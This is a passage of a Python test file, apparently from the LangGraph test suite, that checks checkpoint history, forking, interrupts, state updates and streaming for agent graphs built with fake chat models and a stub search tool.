interrupting the previous execution + assert app.invoke(3, thread1, durability="async") is None + assert app.invoke(None, thread1, durability="async") == 5 + + # start execution again, stopping at inbox + assert app.invoke(20, thread2, durability="async") is None + + # inbox == 21 + snapshot = app.get_state(thread2) + assert snapshot.values["inbox"] == 21 + assert snapshot.next == ("two",) + + # update the state, resume + app.update_state(thread2, 25, as_node="one") + assert app.invoke(None, thread2) == 26 + + # no pending tasks + snapshot = app.get_state(thread2) + assert snapshot.next == () + + # list history + history = [c for c in app.get_state_history(thread1)] + assert len(history) == 8 + assert history == [ + StateSnapshot( + values={"inbox": 4, "output": 5, "input": 3}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 6, + }, + created_at=AnyStr(), + parent_config=history[1].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 4, "output": 4, "input": 3}, + tasks=(PregelTask(AnyStr(), "two", (PULL, "two"), result={"output": 5}),), + next=("two",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 5, + }, + created_at=AnyStr(), + parent_config=history[2].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 21, "output": 4, "input": 3}, + tasks=(PregelTask(AnyStr(), "one", (PULL, "one"), result={"inbox": 4}),), + next=("one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "input", + "step": 4, + }, + created_at=AnyStr(), + parent_config=history[3].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 21, "output": 4, "input": 20}, + tasks=(PregelTask(AnyStr(), "two", (PULL, "two")),), + next=("two",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=history[4].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 3, "output": 4, "input": 20}, + tasks=(PregelTask(AnyStr(), "one", (PULL, "one"), result={"inbox": 21}),), + next=("one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "input", + "step": 2, + }, + created_at=AnyStr(), + parent_config=history[5].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 3, "output": 4, "input": 2}, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=history[6].config, + interrupts=(), + ), + StateSnapshot( + values={"inbox": 3, "input": 2}, + tasks=(PregelTask(AnyStr(), "two", (PULL, "two"), result={"output": 4}),), + next=("two",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + created_at=AnyStr(), + parent_config=history[7].config, + interrupts=(), + ), + StateSnapshot( + values={"input": 2}, + tasks=(PregelTask(AnyStr(), "one", (PULL, "one"), result={"inbox": 3}),), + next=("one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "input", + "step": -1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ] + + # re-running from any previous checkpoint should re-run nodes + assert [c for c in app.stream(None, history[0].config, stream_mode="updates")] == [] + assert [c for c in app.stream(None, history[1].config, stream_mode="updates")] == [ + {"two": {"output": 5}}, + ] + assert [c for c in app.stream(None, history[2].config, stream_mode="updates")] == [ + {"one": {"inbox": 4}}, + {"__interrupt__": ()}, + ] + + +def test_fork_always_re_runs_nodes( + sync_checkpointer: BaseCheckpointSaver, mocker: MockerFixture +) -> None: + add_one = mocker.Mock(side_effect=lambda _: 1) + + builder = StateGraph(Annotated[int, operator.add]) + builder.add_node("add_one", add_one) + builder.add_edge(START, "add_one") + builder.add_conditional_edges("add_one", lambda cnt: "add_one" if cnt < 6 else END) + graph = builder.compile(checkpointer=sync_checkpointer) + + thread1 = {"configurable": {"thread_id": "1"}} + + # start execution, stop at inbox + assert [ + *graph.stream(1, thread1, stream_mode=["values", "updates"], durability="async") + ] == [ + ("values", 1), + ("updates", {"add_one": 1}), + ("values", 2), + ("updates", {"add_one": 1}), + ("values", 3), + ("updates", {"add_one": 1}), + ("values", 4), + ("updates", {"add_one": 1}), + ("values", 5), + ("updates", {"add_one": 1}), + ("values", 6), + ] + + # list history + history = [c for c in graph.get_state_history(thread1)] + assert history == [ + StateSnapshot( + values=6, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 5, + }, + created_at=AnyStr(), + parent_config=history[1].config, + interrupts=(), + ), + StateSnapshot( + values=5, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 4, + }, + created_at=AnyStr(), + parent_config=history[2].config, + interrupts=(), + ), + StateSnapshot( + values=4, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 3, + }, + created_at=AnyStr(), + parent_config=history[3].config, + interrupts=(), + ), + StateSnapshot( + values=3, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 2, + }, + created_at=AnyStr(), + parent_config=history[4].config, + interrupts=(), + ), + StateSnapshot( + values=2, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + created_at=AnyStr(), + parent_config=history[5].config, + interrupts=(), + ), + StateSnapshot( + values=1, + tasks=(PregelTask(AnyStr(), "add_one", (PULL, "add_one"), result=1),), + next=("add_one",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + created_at=AnyStr(), + parent_config=history[6].config, + interrupts=(), + ), + StateSnapshot( + values=0, + tasks=(PregelTask(AnyStr(), "__start__", (PULL, "__start__"), result=1),), + next=("__start__",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "parents": {}, + "source": "input", + "step": -1, + }, + created_at=AnyStr(), + parent_config=None, + interrupts=(), + ), + ] + + # forking from any previous checkpoint should re-run nodes + assert [ + c for c in graph.stream(None, history[0].config, stream_mode="updates") + ] == [] + assert [ + c for c in graph.stream(None, history[1].config, stream_mode="updates") + ] == [ + {"add_one": 1}, + ] + assert [ + c for c in graph.stream(None, history[2].config, stream_mode="updates") + ] == [ + {"add_one": 1}, + {"add_one": 1}, + ] + + +def test_conditional_state_graph( + snapshot: SnapshotAssertion, + sync_checkpointer: BaseCheckpointSaver, +) -> None: + from langchain_core.language_models.fake import FakeStreamingListLLM + from langchain_core.prompts import PromptTemplate + from langchain_core.tools import tool + + class AgentState(TypedDict, total=False): + input: Annotated[str, UntrackedValue] + agent_outcome: AgentAction | AgentFinish | None + intermediate_steps: Annotated[list[tuple[AgentAction, str]], operator.add] + + class ToolState(TypedDict, total=False): + agent_outcome: AgentAction | AgentFinish + + # Assemble the tools + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + # Construct the agent + prompt = PromptTemplate.from_template("Hello!") + + llm = FakeStreamingListLLM( + responses=[ + "tool:search_api:query", + "tool:search_api:another", + "finish:answer", + ] + ) + + def agent_parser(input: str) -> dict[str, AgentAction | AgentFinish]: + if input.startswith("finish"): + _, answer = input.split(":") + return { + "agent_outcome": AgentFinish( + return_values={"answer": answer}, log=input + ) + } + else: + _, tool_name, tool_input = input.split(":") + return { + "agent_outcome": AgentAction( + tool=tool_name, tool_input=tool_input, log=input + ) + } + + agent = prompt | llm | agent_parser + + # Define tool execution logic + def execute_tools(data: ToolState) -> dict: + # check session in data + assert "input" not in data + assert "intermediate_steps" not in data + # execute the tool + agent_action: AgentAction = data.pop("agent_outcome") + observation = {t.name: t for t in tools}[agent_action.tool].invoke( + agent_action.tool_input + ) + return {"intermediate_steps": [[agent_action, observation]]} + + # Define decision-making logic + def should_continue(data: AgentState) -> str: + # check session in data + # Logic to decide whether to continue in the loop or exit + if isinstance(data["agent_outcome"], AgentFinish): + return "exit" + else: + return "continue" + + # Define a new graph + workflow = StateGraph(AgentState) + + workflow.add_node("agent", agent) + workflow.add_node("tools", execute_tools, input_schema=ToolState) + + workflow.set_entry_point("agent") + + workflow.add_conditional_edges( + "agent", should_continue, {"continue": "tools", "exit": END} + ) + + workflow.add_edge("tools", "agent") + + app = workflow.compile() + + if isinstance(sync_checkpointer, InMemorySaver): + assert json.dumps(app.get_input_jsonschema()) == snapshot + assert json.dumps(app.get_output_jsonschema()) == snapshot + assert json.dumps(app.get_graph().to_json(), indent=2) == snapshot + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + assert app.invoke({"input": "what is weather in sf"}) == { + "input": "what is weather in sf", + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + "result for query", + ], + [ + AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + "result for another", + ], + ], + "agent_outcome": AgentFinish( + return_values={"answer": "answer"}, log="finish:answer" + ), + } + + assert [*app.stream({"input": "what is weather in sf"})] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + } + }, + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + "result for query", + ] + ], + } + }, + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + } + }, + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + "result for another", + ], + ], + } + }, + { + "agent": { + "agent_outcome": AgentFinish( + return_values={"answer": "answer"}, log="finish:answer" + ), + } + }, + ] + + # test state get/update methods with interrupt_after + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after=["agent"], + ) + config = {"configurable": {"thread_id": "1"}} + + assert [ + c + for c in app_w_interrupt.stream( + {"input": "what is weather in sf"}, config, durability="exit" + ) + ] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + } + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + app_w_interrupt.update_state( + config, + { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ) + }, + ) + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "result for query", + ] + ], + } + }, + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + } + }, + {"__interrupt__": ()}, + ] + + app_w_interrupt.update_state( + config, + { + "agent_outcome": AgentFinish( + return_values={"answer": "a really nice answer"}, + log="finish:a really nice answer", + ) + }, + ) + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentFinish( + return_values={"answer": "a really nice answer"}, + log="finish:a really nice answer", + ), + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "result for query", + ] + ], + }, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + # test state get/update methods with interrupt_before + + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_before=["tools"], + debug=True, + ) + config = {"configurable": {"thread_id": "2"}} + llm.i = 0 # reset the llm + + assert [ + c + for c in app_w_interrupt.stream( + {"input": "what is weather in sf"}, config, durability="exit" + ) + ] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + } + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + app_w_interrupt.update_state( + config, + { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ) + }, + ) + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 2, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "result for query", + ] + ], + } + }, + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + } + }, + {"__interrupt__": ()}, + ] + + app_w_interrupt.update_state( + config, + { + "agent_outcome": AgentFinish( + return_values={"answer": "a really nice answer"}, + log="finish:a really nice answer", + ) + }, + ) + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentFinish( + return_values={"answer": "a really nice answer"}, + log="finish:a really nice answer", + ), + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:a different query", + ), + "result for query", + ] + ], + }, + tasks=(), + next=(), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "update", + "step": 5, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + # test w interrupt before all + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_before="*", + debug=True, + ) + config = {"configurable": {"thread_id": "3"}} + llm.i = 0 # reset the llm + + assert [ + c + for c in app_w_interrupt.stream( + {"input": "what is weather in sf"}, config, durability="exit" + ) + ] == [ + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "agent", (PULL, "agent")),), + next=("agent",), + config={ + "configurable": { + "thread_id": "3", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 0, + }, + parent_config=None, + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + } + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "3", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + "result for query", + ] + ], + } + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + "result for query", + ] + ], + }, + tasks=(PregelTask(AnyStr(), "agent", (PULL, "agent")),), + next=("agent",), + config={ + "configurable": { + "thread_id": "3", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 2, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + } + }, + {"__interrupt__": ()}, + ] + + # test w interrupt after all + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, + interrupt_after="*", + ) + config = {"configurable": {"thread_id": "4"}} + llm.i = 0 # reset the llm + + assert [ + c + for c in app_w_interrupt.stream( + {"input": "what is weather in sf"}, config, durability="exit" + ) + ] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + } + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + "intermediate_steps": [], + }, + tasks=(PregelTask(AnyStr(), "tools", (PULL, "tools")),), + next=("tools",), + config={ + "configurable": { + "thread_id": "4", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 1, + }, + parent_config=None, + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "tools": { + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + "result for query", + ] + ], + } + }, + {"__interrupt__": ()}, + ] + + assert app_w_interrupt.get_state(config) == StateSnapshot( + values={ + "agent_outcome": AgentAction( + tool="search_api", tool_input="query", log="tool:search_api:query" + ), + "intermediate_steps": [ + [ + AgentAction( + tool="search_api", + tool_input="query", + log="tool:search_api:query", + ), + "result for query", + ] + ], + }, + tasks=(PregelTask(AnyStr(), "agent", (PULL, "agent")),), + next=("agent",), + config={ + "configurable": { + "thread_id": "4", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + created_at=AnyStr(), + metadata={ + "parents": {}, + "source": "loop", + "step": 2, + }, + parent_config=( + list(app_w_interrupt.checkpointer.list(config, limit=2))[-1].config + ), + interrupts=(), + ) + + assert [c for c in app_w_interrupt.stream(None, config)] == [ + { + "agent": { + "agent_outcome": AgentAction( + tool="search_api", + tool_input="another", + log="tool:search_api:another", + ), + } + }, + {"__interrupt__": ()}, + ] + + +def test_prebuilt_tool_chat(snapshot: SnapshotAssertion) -> None: + from langchain_core.messages import AIMessage, HumanMessage + from langchain_core.tools import tool + + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + model = FakeChatModel( + messages=[ + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another"}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one"}, + }, + ], + ), + AIMessage(content="answer"), + ] + ) + + app = create_react_agent(model, tools) + + assert json.dumps(app.get_input_jsonschema()) == snapshot + assert json.dumps(app.get_output_jsonschema()) == snapshot + assert json.dumps(app.get_graph().to_json(), indent=2) == snapshot + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + assert app.invoke( + {"messages": [HumanMessage(content="what is weather in sf")]} + ) == { + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another"}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one"}, + }, + ], + ), + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ), + _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + id=AnyStr(), + ), + _AnyIdAIMessage(content="answer"), + ] + } + + events = [ + c + for c in app.stream( + {"messages": [HumanMessage(content="what is weather in sf")]}, + stream_mode="messages", + ) + ] + + assert events[:3] == [ + ( + _AnyIdAIMessageChunk( + content="", + tool_calls=[ + { + "name": "search_api", + "args": {"query": "query"}, + "id": "tool_call123", + "type": "tool_call", + } + ], + tool_call_chunks=[ + { + "name": "search_api", + "args": '{"query": "query"}', + "id": "tool_call123", + "index": None, + "type": "tool_call_chunk", + } + ], + chunk_position="last", + ), + { + "langgraph_step": 1, + "langgraph_node": "agent", + "langgraph_triggers": ("branch:to:agent",), + "langgraph_path": (PULL, "agent"), + "langgraph_checkpoint_ns": AnyStr("agent:"), + "checkpoint_ns": AnyStr("agent:"), + "ls_provider": "fakechatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ( + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + { + "ls_integration": "langgraph", + "langgraph_step": 2, + "langgraph_node": "tools", + "langgraph_triggers": (PUSH,), + "langgraph_path": (PUSH, AnyInt(), False), + "langgraph_checkpoint_ns": AnyStr("tools:"), + }, + ), + ( + _AnyIdAIMessageChunk( + content="", + tool_calls=[ + { + "name": "search_api", + "args": {"query": "another"}, + "id": "tool_call234", + "type": "tool_call", + }, + { + "name": "search_api", + "args": {"query": "a third one"}, + "id": "tool_call567", + "type": "tool_call", + }, + ], + tool_call_chunks=[ + { + "name": "search_api", + "args": '{"query": "another"}', + "id": "tool_call234", + "index": None, + "type": "tool_call_chunk", + }, + { + "name": "search_api", + "args": '{"query": "a third one"}', + "id": "tool_call567", + "index": None, + "type": "tool_call_chunk", + }, + ], + chunk_position="last", + ), + { + "langgraph_step": 3, + "langgraph_node": "agent", + "langgraph_triggers": ("branch:to:agent",), + "langgraph_path": (PULL, "agent"), + "langgraph_checkpoint_ns": AnyStr("agent:"), + "checkpoint_ns": AnyStr("agent:"), + "ls_provider": "fakechatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ] + + assert events[3:5] == UnsortedSequence( + ( + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ), + { + "ls_integration": "langgraph", + "langgraph_step": 4, + "langgraph_node": "tools", + "langgraph_triggers": (PUSH,), + "langgraph_path": (PUSH, AnyInt(), False), + "langgraph_checkpoint_ns": AnyStr("tools:"), + }, + ), + ( + _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + ), + { + "ls_integration": "langgraph", + "langgraph_step": 4, + "langgraph_node": "tools", + "langgraph_triggers": (PUSH,), + "langgraph_path": (PUSH, AnyInt(), False), + "langgraph_checkpoint_ns": AnyStr("tools:"), + }, + ), + ) + assert events[5:] == [ + ( + _AnyIdAIMessageChunk( + content="answer", + chunk_position="last", + ), + { + "langgraph_step": 5, + "langgraph_node": "agent", + "langgraph_triggers": ("branch:to:agent",), + "langgraph_path": (PULL, "agent"), + "langgraph_checkpoint_ns": AnyStr("agent:"), + "checkpoint_ns": AnyStr("agent:"), + "ls_provider": "fakechatmodel", + "ls_model_type": "chat", + "ls_integration": "langchain_chat_model", + "lc_versions": {"langchain-core": LANGCHAIN_CORE_VERSION}, + }, + ), + ] + + assert app.invoke( + {"messages": [HumanMessage(content="what is weather in sf")]}, + {"recursion_limit": 2}, + debug=True, + ) == { + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + _AnyIdAIMessage(content="Sorry, need more steps to process this request."), + ] + } + + model.i = 0 # reset the model + + invoke_updates_events = app.invoke( + {"messages": [HumanMessage(content="what is weather in sf")]}, + stream_mode="updates", + ) + + stream_updates_events = [ + *app.stream({"messages": [HumanMessage(content="what is weather in sf")]}) + ] + + for output in (invoke_updates_events, stream_updates_events): + assert output[:3] == [ + { + "agent": { + "messages": [ + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ) + ] + } + }, + { + "tools": { + "messages": [ + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ) + ] + } + }, + { + "agent": { + "messages": [ + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another"}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one"}, + }, + ], + ) + ] + } + }, + ] + assert output[3:5] == UnsortedSequence( + { + "tools": { + "messages": [ + _AnyIdToolMessage( + content="result for another", + name="search_api", + tool_call_id="tool_call234", + ), + ] + } + }, + { + "tools": { + "messages": [ + _AnyIdToolMessage( + content="result for a third one", + name="search_api", + tool_call_id="tool_call567", + ), + ] + } + }, + ) + assert output[5:] == [ + {"agent": {"messages": [_AnyIdAIMessage(content="answer")]}} + ] + + +def test_state_graph_packets( + sync_checkpointer: BaseCheckpointSaver, mocker: MockerFixture +) -> None: + from langchain_core.language_models.fake_chat_models import ( + FakeMessagesListChatModel, + ) + from langchain_core.messages import ( + AIMessage, + BaseMessage, + HumanMessage, + ToolCall, + ToolMessage, + ) + from langchain_core.tools import tool + + class AgentState(TypedDict): + messages: Annotated[list[BaseMessage], add_messages] + + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + time.sleep(0.1) + return f"result for {query}" + + tools = [search_api] + tools_by_name = {t.name: t for t in tools} + + model = FakeMessagesListChatModel( + responses=[ + AIMessage( + id="ai1", + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + AIMessage( + id="ai2", + content="", + tool_calls=[ + { + "id": "tool_call234", + "name": "search_api", + "args": {"query": "another", "idx": 0}, + }, + { + "id": "tool_call567", + "name": "search_api", + "args": {"query": "a third one", "idx": 1}, + }, + ], + ), + AIMessage(id="ai3", content="answer"), + ] + ) + + def agent(data: AgentState) -> AgentState: + return { + "messages": model.invoke(data["messages"]), + "something_extra": "hi there", + } + + # Define decision-making logic + def should_continue(data: dict) -> str: + assert data["something_extra"] == "hi there", ( + "nodes can pass extra data to their cond edges, which isn't saved in state" + ) + # Logic to decide whether to continue in the loop or exit + if tool_calls := data["messages"][-1].tool_calls: + return [Send("tools", tool_call) for tool_call in tool_calls] + else: + return END + + def tools_node(input: ToolCall, config: RunnableConfig) -> AgentState: + time.sleep(input["args"].get("idx", 0) / 10) + output = tools_by_name[input["name"]].invoke(input["args"], config) + return { + "messages": ToolMessage( + 